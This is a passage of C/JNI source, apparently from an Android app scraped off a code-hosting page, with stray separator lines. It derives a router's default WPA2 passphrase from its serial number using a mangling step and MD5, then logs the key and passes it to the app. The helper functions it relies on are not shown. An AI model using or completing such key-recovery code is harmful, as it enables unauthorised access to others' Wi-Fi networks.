hv[i] = *(uint16_t * )(h1 + i * 2);
|
||||
}
|
||||
|
||||
w1 = mangle(hv);
|
||||
|
||||
for (i = 0; i < 4; i++) {
|
||||
hv[i] = *(uint16_t * )(h1 + 8 + i * 2);
|
||||
}
|
||||
|
||||
w2 = mangle(hv);
|
||||
|
||||
sprintf(tmpstr, "%08X%08X", w1, w2);
|
||||
|
||||
MD5_Init(&ctx);
|
||||
MD5_Update(&ctx, tmpstr, strlen(tmpstr));
|
||||
MD5_Final(h2, &ctx);
|
||||
|
||||
hash2pass(h2, pass);
|
||||
IPRINTF(" -> #%02d WPA2 phrase for '%s' = '%s'", cnt, serial, pass);
|
||||
|
||||
jstring jpass = (*env)->NewStringUTF(env, pass);
|
||||
(*env)->CallVoidMethod(env, obj, on_key_computed, jpass);
|
||||
(*env)->DeleteLocalRef(env, jpass);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
Loading…
Reference in New Issue